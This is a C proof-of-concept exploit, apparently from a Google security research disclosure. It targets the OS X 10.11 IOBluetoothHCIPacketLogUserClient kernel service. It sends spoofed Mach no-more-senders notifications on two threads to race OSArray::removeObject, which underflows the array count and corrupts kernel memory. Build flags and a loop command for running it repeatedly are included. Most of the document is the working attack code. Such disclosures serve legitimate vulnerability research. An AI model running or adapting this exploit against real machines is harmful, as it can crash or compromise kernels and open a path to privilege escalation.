/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/
// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp
/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation
The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
repro: while true; do ./iospoof_bluepacketlog; done
*/
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <unistd.h>
#include <IOKit/IOKitLib.h>
io_connect_t conn = MACH_PORT_NULL;
int start = 0;
struct spoofed_notification {
mach_msg_header_t header;
NDR_record_t NDR;
mach_msg_type_number_t no_senders_count;
};
struct spoofed_notification msg = {0};
void send_message() {
mach_msg(&msg,
MACH_SEND_MSG,
msg.header.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
void go(void* arg){
while(start == 0){;}
usleep(1);
send_message();
}
int main(int argc, char** argv) {
char* service_name = "IOBluetoothHCIController";
int client_type = 1;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
if (service == MACH_PORT_NULL) {
printf("can't find service\n");
return 0;
}
IOServiceOpen(service, mach_task_self(), client_type, &conn);
if (conn == MACH_PORT_NULL) {
printf("can't connect to service\n");
return 0;
}
pthread_t t;
int arg = 0;
pthread_create(&t, NULL, (void*) go, (void*) &arg);
// build the message:
msg.header.msgh_size = sizeof(struct spoofed_notification);
msg.header.msgh_local_port = conn;
msg.header.msgh_remote_port = conn;
msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
msg.header.msgh_id = 0106;
msg.no_senders_count = 1000;
usleep(100000);
start = 1;
send_message();
pthread_join(t, NULL);
return 0;
}
